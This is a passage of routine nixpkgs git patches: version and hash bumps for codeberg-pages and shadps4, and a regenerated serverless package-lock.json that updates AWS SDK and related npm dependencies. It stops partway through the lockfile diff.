From 3123a8c6a1de133d93698eb8d8d091de9394998e Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 9 Jul 2025 15:52:34 +0200
Subject: [PATCH 2221/4511] codeberg-pages: 6.2.1 -> 6.3

Diff: https://codeberg.org/Codeberg/pages-server/compare/v6.2.1...v6.3

Changelog: https://codeberg.org/Codeberg/pages-server/releases/tag/v6.3
(cherry picked from commit 0563057c7819e38fc4c1f155534e3f51ffc13265)
---
 pkgs/by-name/co/codeberg-pages/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/co/codeberg-pages/package.nix b/pkgs/by-name/co/codeberg-pages/package.nix
index bb017ebf0fef..591d50c060e5 100644
--- a/pkgs/by-name/co/codeberg-pages/package.nix
+++ b/pkgs/by-name/co/codeberg-pages/package.nix
@@ -7,17 +7,17 @@
 
 buildGoModule rec {
   pname = "codeberg-pages";
-  version = "6.2.1";
+  version = "6.3";
 
   src = fetchFromGitea {
     domain = "codeberg.org";
     owner = "Codeberg";
     repo = "pages-server";
     rev = "v${version}";
-    hash = "sha256-kWEwKdm/GAUtsc4ZyCn7VJm9vVWDBOHJRer2FP1L/g0=";
+    hash = "sha256-5+4yKcXyKSg7Q2h7W3G6AYkIOmYA4D4DDjdLK57lwdw=";
   };
 
-  vendorHash = "sha256-qGjcMZhwflYdwOrGS9EApkwVLLSolQBBIeU8AU/fT/I=";
+  vendorHash = "sha256-EefUX5MEQrJGtUbX/bINcMSJQjnnLzKQt04hENY8G2E=";
 
   postPatch = ''
     # disable httptest

From 8b0cfe1207efcc021cd82a6a1b71bb3b22cc514d Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Sun, 6 Jul 2025 21:41:35 -0600
Subject: [PATCH 2222/4511] shadps4: 0.9.0 -> 0.10.0

https://github.com/shadps4-emu/shadPS4/releases/tag/v.0.10.0
Diff: https://github.com/shadps4-emu/shadPS4/compare/v.0.9.0...v.0.10.0
(cherry picked from commit 65635b5c6424db9c545a847f7afc291ba3e9eb70)
---
 pkgs/by-name/sh/shadps4/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sh/shadps4/package.nix b/pkgs/by-name/sh/shadps4/package.nix
index 88da965e9446..6f9236aa1e95 100644
--- a/pkgs/by-name/sh/shadps4/package.nix
+++ b/pkgs/by-name/sh/shadps4/package.nix
@@ -39,13 +39,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "shadps4";
-  version = "0.9.0";
+  version = "0.10.0";
 
   src = fetchFromGitHub {
     owner = "shadps4-emu";
     repo = "shadPS4";
     tag = "v.${finalAttrs.version}";
-    hash = "sha256-ljnoClmijCds/ydqXaRuUL6/Qv/fGIkLyGsmfPDqvVo=";
+    hash = "sha256-0wvxvKw2XHhnXiM5DiiiY+nWPoze0fvNCJeTsKzoCn0=";
     fetchSubmodules = true;
   };
 

From b287d3caf56b70ec4b30e93d95898b225bceacee Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 9 Jul 2025 13:26:16 -0400
Subject: [PATCH 2223/4511] serverless: regenerate lockfile

Fixes some vulnerable dependencies.

(cherry picked from commit 3715709b7fb94c018c2998e921b3376e1fa6cadd)
---
 pkgs/by-name/se/serverless/package-lock.json | 6171 ++++++++++++------
 pkgs/by-name/se/serverless/package.nix       |    2 +-
 2 files changed, 4030 insertions(+), 2143 deletions(-)

diff --git a/pkgs/by-name/se/serverless/package-lock.json b/pkgs/by-name/se/serverless/package-lock.json
index e75ae77f4a93..406bf05add71 100644
--- a/pkgs/by-name/se/serverless/package-lock.json
+++ b/pkgs/by-name/se/serverless/package-lock.json
@@ -106,596 +106,672 @@
         "node": ">=12.0"
       }
     },
-    "node_modules/@aashutoshrathi/word-wrap": {
-      "version": "1.2.6",
-      "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz",
-      "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==",
-      "dev": true,
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
     "node_modules/@ampproject/remapping": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.1.tgz",
-      "integrity": "sha512-lFMjJTrFL3j7L9yBxwYfCq2k6qqwHyzuUl/XBnif78PWTJYyL/dfowQHWE3sp6U6ZzqWiiIZnpTMO96zhkjwtg==",
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.3.0.tgz",
+      "integrity": "sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
-        "@jridgewell/gen-mapping": "^0.3.0",
-        "@jridgewell/trace-mapping": "^0.3.9"
+        "@jridgewell/gen-mapping": "^0.3.5",
+        "@jridgewell/trace-mapping": "^0.3.24"
       },
       "engines": {
         "node": ">=6.0.0"
       }
     },
-    "node_modules/@aws-crypto/crc32": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@aws-crypto/crc32/-/crc32-3.0.0.tgz",
-      "integrity": "sha512-IzSgsrxUcsrejQbPVilIKy16kAT52EwB6zSaI+M3xxIhKh5+aldEyvI+z6erM7TCLB2BJsFrtHjp6/4/sr+3dA==",
-      "dependencies": {
-        "@aws-crypto/util": "^3.0.0",
-        "@aws-sdk/types": "^3.222.0",
-        "tslib": "^1.11.1"
-      }
-    },
-    "node_modules/@aws-crypto/crc32/node_modules/tslib": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
-      "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
-    },
-    "node_modules/@aws-crypto/ie11-detection": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@aws-crypto/ie11-detection/-/ie11-detection-3.0.0.tgz",
-      "integrity": "sha512-341lBBkiY1DfDNKai/wXM3aujNBkXR7tq1URPQDL9wi3AUbI80NR74uF1TXHMm7po1AcnFk8iu2S2IeU/+/A+Q==",
-      "dependencies": {
-        "tslib": "^1.11.1"
-      }
-    },
-    "node_modules/@aws-crypto/ie11-detection/node_modules/tslib": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
-      "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
-    },
     "node_modules/@aws-crypto/sha256-browser": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-browser/-/sha256-browser-3.0.0.tgz",
-      "integrity": "sha512-8VLmW2B+gjFbU5uMeqtQM6Nj0/F1bro80xQXCW6CQBWgosFWXTx77aeOF5CAIAmbOK64SdMBJdNr6J41yP5mvQ==",
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-browser/-/sha256-browser-5.2.0.tgz",
+      "integrity": "sha512-AXfN/lGotSQwu6HNcEsIASo7kWXZ5HYWvfOmSNKDsEqC4OashTp8alTmaz+F7TC2L083SFv5RdB+qU3Vs1kZqw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-crypto/ie11-detection": "^3.0.0",
-        "@aws-crypto/sha256-js": "^3.0.0",
-        "@aws-crypto/supports-web-crypto": "^3.0.0",
-        "@aws-crypto/util": "^3.0.0",
+        "@aws-crypto/sha256-js": "^5.2.0",
+        "@aws-crypto/supports-web-crypto": "^5.2.0",
+        "@aws-crypto/util": "^5.2.0",
         "@aws-sdk/types": "^3.222.0",
         "@aws-sdk/util-locate-window": "^3.0.0",
-        "@aws-sdk/util-utf8-browser": "^3.0.0",
-        "tslib": "^1.11.1"
+        "@smithy/util-utf8": "^2.0.0",
+        "tslib": "^2.6.2"
       }
     },
-    "node_modules/@aws-crypto/sha256-browser/node_modules/tslib": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
-      "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
-    },
-    "node_modules/@aws-crypto/sha256-js": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-js/-/sha256-js-3.0.0.tgz",
-      "integrity": "sha512-PnNN7os0+yd1XvXAy23CFOmTbMaDxgxXtTKHybrJ39Y8kGzBATgBFibWJKH6BhytLI/Zyszs87xCOBNyBig6vQ==",
+    "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/is-array-buffer": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz",
+      "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-crypto/util": "^3.0.0",
-        "@aws-sdk/types": "^3.222.0",
-        "tslib": "^1.11.1"
-      }
-    },
-    "node_modules/@aws-crypto/sha256-js/node_modules/tslib": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
-      "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
-    },
-    "node_modules/@aws-crypto/supports-web-crypto": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@aws-crypto/supports-web-crypto/-/supports-web-crypto-3.0.0.tgz",
-      "integrity": "sha512-06hBdMwUAb2WFTuGG73LSC0wfPu93xWwo5vL2et9eymgmu3Id5vFAHBbajVWiGhPO37qcsdCap/FqXvJGJWPIg==",
-      "dependencies": {
-        "tslib": "^1.11.1"
-      }
-    },
-    "node_modules/@aws-crypto/supports-web-crypto/node_modules/tslib": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
-      "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
-    },
-    "node_modules/@aws-crypto/util": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/@aws-crypto/util/-/util-3.0.0.tgz",
-      "integrity": "sha512-2OJlpeJpCR48CC8r+uKVChzs9Iungj9wkZrl8Z041DWEWvyIHILYKCPNzJghKsivj+S3mLo6BVc7mBNzdxA46w==",
-      "dependencies": {
-        "@aws-sdk/types": "^3.222.0",
-        "@aws-sdk/util-utf8-browser": "^3.0.0",
-        "tslib": "^1.11.1"
-      }
-    },
-    "node_modules/@aws-crypto/util/node_modules/tslib": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
-      "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
-    },
-    "node_modules/@aws-sdk/client-cloudformation": {
-      "version": "3.461.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/client-cloudformation/-/client-cloudformation-3.461.0.tgz",
-      "integrity": "sha512-A2u9B9IxSfx+NpWMRA/3rRTcddm3pj0set87pMmOgpmaQRxo9s7DHc6/0MANkd/y65ckEtP6wdPabt53yOEl5w==",
-      "dependencies": {
-        "@aws-crypto/sha256-browser": "3.0.0",
-        "@aws-crypto/sha256-js": "3.0.0",
-        "@aws-sdk/client-sts": "3.461.0",
-        "@aws-sdk/core": "3.451.0",
-        "@aws-sdk/credential-provider-node": "3.460.0",
-        "@aws-sdk/middleware-host-header": "3.460.0",
-        "@aws-sdk/middleware-logger": "3.460.0",
-        "@aws-sdk/middleware-recursion-detection": "3.460.0",
-        "@aws-sdk/middleware-signing": "3.461.0",
-        "@aws-sdk/middleware-user-agent": "3.460.0",
-        "@aws-sdk/region-config-resolver": "3.451.0",
-        "@aws-sdk/types": "3.460.0",
-        "@aws-sdk/util-endpoints": "3.460.0",
-        "@aws-sdk/util-user-agent-browser": "3.460.0",
-        "@aws-sdk/util-user-agent-node": "3.460.0",
-        "@smithy/config-resolver": "^2.0.18",
-        "@smithy/fetch-http-handler": "^2.2.6",
-        "@smithy/hash-node": "^2.0.15",
-        "@smithy/invalid-dependency": "^2.0.13",
-        "@smithy/middleware-content-length": "^2.0.15",
-        "@smithy/middleware-endpoint": "^2.2.0",
-        "@smithy/middleware-retry": "^2.0.20",
-        "@smithy/middleware-serde": "^2.0.13",
-        "@smithy/middleware-stack": "^2.0.7",
-        "@smithy/node-config-provider": "^2.1.5",
-        "@smithy/node-http-handler": "^2.1.9",
-        "@smithy/protocol-http": "^3.0.9",
-        "@smithy/smithy-client": "^2.1.15",
-        "@smithy/types": "^2.5.0",
-        "@smithy/url-parser": "^2.0.13",
-        "@smithy/util-base64": "^2.0.1",
-        "@smithy/util-body-length-browser": "^2.0.0",
-        "@smithy/util-body-length-node": "^2.1.0",
-        "@smithy/util-defaults-mode-browser": "^2.0.19",
-        "@smithy/util-defaults-mode-node": "^2.0.25",
-        "@smithy/util-endpoints": "^1.0.4",
-        "@smithy/util-retry": "^2.0.6",
-        "@smithy/util-utf8": "^2.0.2",
-        "@smithy/util-waiter": "^2.0.13",
-        "fast-xml-parser": "4.2.5",
-        "tslib": "^2.5.0",
-        "uuid": "^8.3.2"
+        "tslib": "^2.6.2"
       },
       "engines": {
         "node": ">=14.0.0"
       }
     },
-    "node_modules/@aws-sdk/client-cloudformation/node_modules/uuid": {
-      "version": "8.3.2",
-      "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
-      "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==",
-      "bin": {
-        "uuid": "dist/bin/uuid"
+    "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/util-buffer-from": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz",
+      "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@smithy/is-array-buffer": "^2.2.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=14.0.0"
+      }
+    },
+    "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/util-utf8": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz",
+      "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@smithy/util-buffer-from": "^2.2.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=14.0.0"
+      }
+    },
+    "node_modules/@aws-crypto/sha256-js": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-js/-/sha256-js-5.2.0.tgz",
+      "integrity": "sha512-FFQQyu7edu4ufvIZ+OadFpHHOt+eSTBaYaki44c+akjg7qZg9oOQeLlk77F6tSYqjDAFClrHJk9tMf0HdVyOvA==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@aws-crypto/util": "^5.2.0",
+        "@aws-sdk/types": "^3.222.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=16.0.0"
+      }
+    },
+    "node_modules/@aws-crypto/supports-web-crypto": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/@aws-crypto/supports-web-crypto/-/supports-web-crypto-5.2.0.tgz",
+      "integrity": "sha512-iAvUotm021kM33eCdNfwIN//F77/IADDSs58i+MDaOqFrVjZo9bAal0NK7HurRuWLLpF1iLX7gbWrjHjeo+YFg==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "tslib": "^2.6.2"
+      }
+    },
+    "node_modules/@aws-crypto/util": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/@aws-crypto/util/-/util-5.2.0.tgz",
+      "integrity": "sha512-4RkU9EsI6ZpBve5fseQlGNUWKMa1RLPQ1dnjnQoe07ldfIzcsGb5hC5W0Dm7u423KWzawlrpbjXBrXCEv9zazQ==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@aws-sdk/types": "^3.222.0",
+        "@smithy/util-utf8": "^2.0.0",
+        "tslib": "^2.6.2"
+      }
+    },
+    "node_modules/@aws-crypto/util/node_modules/@smithy/is-array-buffer": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz",
+      "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=14.0.0"
+      }
+    },
+    "node_modules/@aws-crypto/util/node_modules/@smithy/util-buffer-from": {
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz",
+      "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@smithy/is-array-buffer": "^2.2.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=14.0.0"
+      }
+    },
+    "node_modules/@aws-crypto/util/node_modules/@smithy/util-utf8": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz",
+      "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@smithy/util-buffer-from": "^2.2.0",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=14.0.0"
+      }
+    },
+    "node_modules/@aws-sdk/client-cloudformation": {
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/client-cloudformation/-/client-cloudformation-3.840.0.tgz",
+      "integrity": "sha512-WUvN/80yx5b/I8YYBr9RTvcfnU7tZFgpsyXhwf+cmYFK5CfpUH7lRBzZflmim5YKiMR8m3VYlzdUWij8VB9NDQ==",
+      "license": "Apache-2.0",
+      "dependencies": {
+        "@aws-crypto/sha256-browser": "5.2.0",
+        "@aws-crypto/sha256-js": "5.2.0",
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/credential-provider-node": "3.840.0",
+        "@aws-sdk/middleware-host-header": "3.840.0",
+        "@aws-sdk/middleware-logger": "3.840.0",
+        "@aws-sdk/middleware-recursion-detection": "3.840.0",
+        "@aws-sdk/middleware-user-agent": "3.840.0",
+        "@aws-sdk/region-config-resolver": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@aws-sdk/util-endpoints": "3.840.0",
+        "@aws-sdk/util-user-agent-browser": "3.840.0",
+        "@aws-sdk/util-user-agent-node": "3.840.0",
+        "@smithy/config-resolver": "^4.1.4",
+        "@smithy/core": "^3.6.0",
+        "@smithy/fetch-http-handler": "^5.0.4",
+        "@smithy/hash-node": "^4.0.4",
+        "@smithy/invalid-dependency": "^4.0.4",
+        "@smithy/middleware-content-length": "^4.0.4",
+        "@smithy/middleware-endpoint": "^4.1.13",
+        "@smithy/middleware-retry": "^4.1.14",
+        "@smithy/middleware-serde": "^4.0.8",
+        "@smithy/middleware-stack": "^4.0.4",
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/node-http-handler": "^4.0.6",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/smithy-client": "^4.4.5",
+        "@smithy/types": "^4.3.1",
+        "@smithy/url-parser": "^4.0.4",
+        "@smithy/util-base64": "^4.0.0",
+        "@smithy/util-body-length-browser": "^4.0.0",
+        "@smithy/util-body-length-node": "^4.0.0",
+        "@smithy/util-defaults-mode-browser": "^4.0.21",
+        "@smithy/util-defaults-mode-node": "^4.0.21",
+        "@smithy/util-endpoints": "^3.0.6",
+        "@smithy/util-middleware": "^4.0.4",
+        "@smithy/util-retry": "^4.0.6",
+        "@smithy/util-utf8": "^4.0.0",
+        "@smithy/util-waiter": "^4.0.6",
+        "@types/uuid": "^9.0.1",
+        "tslib": "^2.6.2",
+        "uuid": "^9.0.1"
+      },
+      "engines": {
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/client-sso": {
-      "version": "3.460.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/client-sso/-/client-sso-3.460.0.tgz",
-      "integrity": "sha512-p5D9C8LKJs5yoBn5cCs2Wqzrp5YP5BYcP774bhGMFEu/LCIUyWzudwN3+/AObSiq8R8SSvBY2zQD4h+k3NjgTQ==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/client-sso/-/client-sso-3.840.0.tgz",
+      "integrity": "sha512-3Zp+FWN2hhmKdpS0Ragi5V2ZPsZNScE3jlbgoJjzjI/roHZqO+e3/+XFN4TlM0DsPKYJNp+1TAjmhxN6rOnfYA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-crypto/sha256-browser": "3.0.0",
-        "@aws-crypto/sha256-js": "3.0.0",
-        "@aws-sdk/core": "3.451.0",
-        "@aws-sdk/middleware-host-header": "3.460.0",
-        "@aws-sdk/middleware-logger": "3.460.0",
-        "@aws-sdk/middleware-recursion-detection": "3.460.0",
-        "@aws-sdk/middleware-user-agent": "3.460.0",
-        "@aws-sdk/region-config-resolver": "3.451.0",
-        "@aws-sdk/types": "3.460.0",
-        "@aws-sdk/util-endpoints": "3.460.0",
-        "@aws-sdk/util-user-agent-browser": "3.460.0",
-        "@aws-sdk/util-user-agent-node": "3.460.0",
-        "@smithy/config-resolver": "^2.0.18",
-        "@smithy/fetch-http-handler": "^2.2.6",
-        "@smithy/hash-node": "^2.0.15",
-        "@smithy/invalid-dependency": "^2.0.13",
-        "@smithy/middleware-content-length": "^2.0.15",
-        "@smithy/middleware-endpoint": "^2.2.0",
-        "@smithy/middleware-retry": "^2.0.20",
-        "@smithy/middleware-serde": "^2.0.13",
-        "@smithy/middleware-stack": "^2.0.7",
-        "@smithy/node-config-provider": "^2.1.5",
-        "@smithy/node-http-handler": "^2.1.9",
-        "@smithy/protocol-http": "^3.0.9",
-        "@smithy/smithy-client": "^2.1.15",
-        "@smithy/types": "^2.5.0",
-        "@smithy/url-parser": "^2.0.13",
-        "@smithy/util-base64": "^2.0.1",
-        "@smithy/util-body-length-browser": "^2.0.0",
-        "@smithy/util-body-length-node": "^2.1.0",
-        "@smithy/util-defaults-mode-browser": "^2.0.19",
-        "@smithy/util-defaults-mode-node": "^2.0.25",
-        "@smithy/util-endpoints": "^1.0.4",
-        "@smithy/util-retry": "^2.0.6",
-        "@smithy/util-utf8": "^2.0.2",
-        "tslib": "^2.5.0"
+        "@aws-crypto/sha256-browser": "5.2.0",
+        "@aws-crypto/sha256-js": "5.2.0",
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/middleware-host-header": "3.840.0",
+        "@aws-sdk/middleware-logger": "3.840.0",
+        "@aws-sdk/middleware-recursion-detection": "3.840.0",
+        "@aws-sdk/middleware-user-agent": "3.840.0",
+        "@aws-sdk/region-config-resolver": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@aws-sdk/util-endpoints": "3.840.0",
+        "@aws-sdk/util-user-agent-browser": "3.840.0",
+        "@aws-sdk/util-user-agent-node": "3.840.0",
+        "@smithy/config-resolver": "^4.1.4",
+        "@smithy/core": "^3.6.0",
+        "@smithy/fetch-http-handler": "^5.0.4",
+        "@smithy/hash-node": "^4.0.4",
+        "@smithy/invalid-dependency": "^4.0.4",
+        "@smithy/middleware-content-length": "^4.0.4",
+        "@smithy/middleware-endpoint": "^4.1.13",
+        "@smithy/middleware-retry": "^4.1.14",
+        "@smithy/middleware-serde": "^4.0.8",
+        "@smithy/middleware-stack": "^4.0.4",
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/node-http-handler": "^4.0.6",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/smithy-client": "^4.4.5",
+        "@smithy/types": "^4.3.1",
+        "@smithy/url-parser": "^4.0.4",
+        "@smithy/util-base64": "^4.0.0",
+        "@smithy/util-body-length-browser": "^4.0.0",
+        "@smithy/util-body-length-node": "^4.0.0",
+        "@smithy/util-defaults-mode-browser": "^4.0.21",
+        "@smithy/util-defaults-mode-node": "^4.0.21",
+        "@smithy/util-endpoints": "^3.0.6",
+        "@smithy/util-middleware": "^4.0.4",
+        "@smithy/util-retry": "^4.0.6",
+        "@smithy/util-utf8": "^4.0.0",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@aws-sdk/client-sts": {
-      "version": "3.461.0",
-      "resolved": "https://registry.npmjs.org/@aws-sdk/client-sts/-/client-sts-3.461.0.tgz",
-      "integrity": "sha512-1u+t31m23vuc9zkiUk51L4QbwuRQEuBeMArHK/thmq4V+A0VmjoAr/x2D0eQ0deOuBqG5YC62oaqUfIhj03SIw==",
+      "version": "3.840.0",
+      "resolved": "https://registry.npmjs.org/@aws-sdk/client-sts/-/client-sts-3.840.0.tgz",
+      "integrity": "sha512-h+mu89Wk81Ne+B624GT/pBM5VjuAZueSeQNixhgtQ1QHi6bZzrpz8+lvMSibKO+kXFyQsTLzkyibbxnhLpWQZA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@aws-crypto/sha256-browser": "3.0.0",
-        "@aws-crypto/sha256-js": "3.0.0",
-        "@aws-sdk/core": "3.451.0",
-        "@aws-sdk/credential-provider-node": "3.460.0",
-        "@aws-sdk/middleware-host-header": "3.460.0",
-        "@aws-sdk/middleware-logger": "3.460.0",
-        "@aws-sdk/middleware-recursion-detection": "3.460.0",
-        "@aws-sdk/middleware-sdk-sts": "3.461.0",
-        "@aws-sdk/middleware-signing": "3.461.0",
-        "@aws-sdk/middleware-user-agent": "3.460.0",
-        "@aws-sdk/region-config-resolver": "3.451.0",
-        "@aws-sdk/types": "3.460.0",
-        "@aws-sdk/util-endpoints": "3.460.0",
-        "@aws-sdk/util-user-agent-browser": "3.460.0",
-        "@aws-sdk/util-user-agent-node": "3.460.0",
-        "@smithy/config-resolver": "^2.0.18",
-        "@smithy/fetch-http-handler": "^2.2.6",
-        "@smithy/hash-node": "^2.0.15",
-        "@smithy/invalid-dependency": "^2.0.13",
-        "@smithy/middleware-content-length": "^2.0.15",
-        "@smithy/middleware-endpoint": "^2.2.0",
-        "@smithy/middleware-retry": "^2.0.20",
-        "@smithy/middleware-serde": "^2.0.13",
-        "@smithy/middleware-stack": "^2.0.7",
-        "@smithy/node-config-provider": "^2.1.5",
-        "@smithy/node-http-handler": "^2.1.9",
-        "@smithy/protocol-http": "^3.0.9",
-        "@smithy/smithy-client": "^2.1.15",
-        "@smithy/types": "^2.5.0",
-        "@smithy/url-parser": "^2.0.13",
-        "@smithy/util-base64": "^2.0.1",
-        "@smithy/util-body-length-browser": "^2.0.0",
-        "@smithy/util-body-length-node": "^2.1.0",
-        "@smithy/util-defaults-mode-browser": "^2.0.19",
-        "@smithy/util-defaults-mode-node": "^2.0.25",
-        "@smithy/util-endpoints": "^1.0.4",
-        "@smithy/util-retry": "^2.0.6",
-        "@smithy/util-utf8": "^2.0.2",
-        "fast-xml-parser": "4.2.5",
-        "tslib": "^2.5.0"
+        "@aws-crypto/sha256-browser": "5.2.0",
+        "@aws-crypto/sha256-js": "5.2.0",
+        "@aws-sdk/core": "3.840.0",
+        "@aws-sdk/credential-provider-node": "3.840.0",
+        "@aws-sdk/middleware-host-header": "3.840.0",
+        "@aws-sdk/middleware-logger": "3.840.0",
+        "@aws-sdk/middleware-recursion-detection": "3.840.0",
+        "@aws-sdk/middleware-user-agent": "3.840.0",
+        "@aws-sdk/region-config-resolver": "3.840.0",
+        "@aws-sdk/types": "3.840.0",
+        "@aws-sdk/util-endpoints": "3.840.0",
+        "@aws-sdk/util-user-agent-browser": "3.840.0",
+        "@aws-sdk/util-user-agent-node": "3.840.0",
+        "@smithy/config-resolver": "^4.1.4",
+        "@smithy/core": "^3.6.0",
+        "@smithy/fetch-http-handler": "^5.0.4",
+        "@smithy/hash-node": "^4.0.4",
+        "@smithy/invalid-dependency": "^4.0.4",
